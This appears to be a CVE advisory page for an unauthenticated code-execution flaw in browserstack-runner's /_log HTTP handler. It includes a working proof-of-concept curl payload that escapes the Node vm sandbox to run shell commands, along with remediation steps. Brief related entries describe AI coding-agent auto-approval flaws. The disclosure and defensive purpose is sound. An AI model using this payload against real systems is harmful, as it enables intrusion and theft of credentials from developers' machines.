CVE-2026-49143 — Vulnerability in browserstack-runner — CVE Details
browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.67%). Schedule for your next planned update.
Does your project use an affected browserstack-runner version?
Paste your package-lock.json to check it for CVE-2026-49143 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.
Details
When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().
Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.
Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
Remediation
- Remove
eval()andvm.runInNewContext()from the_loghandler — useJSON.stringify()for safe logging - Add UUID authentication to
_log(matching_progressand_reporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
Advisory Timeline
- First published June 3, 2026 (176 days ago).
- Last revised June 3, 2026 — 0 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| browserstack-runner npm · Affected: All versions | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-94Code InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-49143ADVISORY
- https://github.com/browserstack/browserstack-runnerPACKAGE
- https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handlerWEB
Frequently Asked Questions
- What is CVE-2026-49143?
- browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-49143?
- CVE-2026-49143 affects browserstack-runner. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-49143 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 47.1% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-83816HIGH
CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE
- CVE-2026-83817HIGH
CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution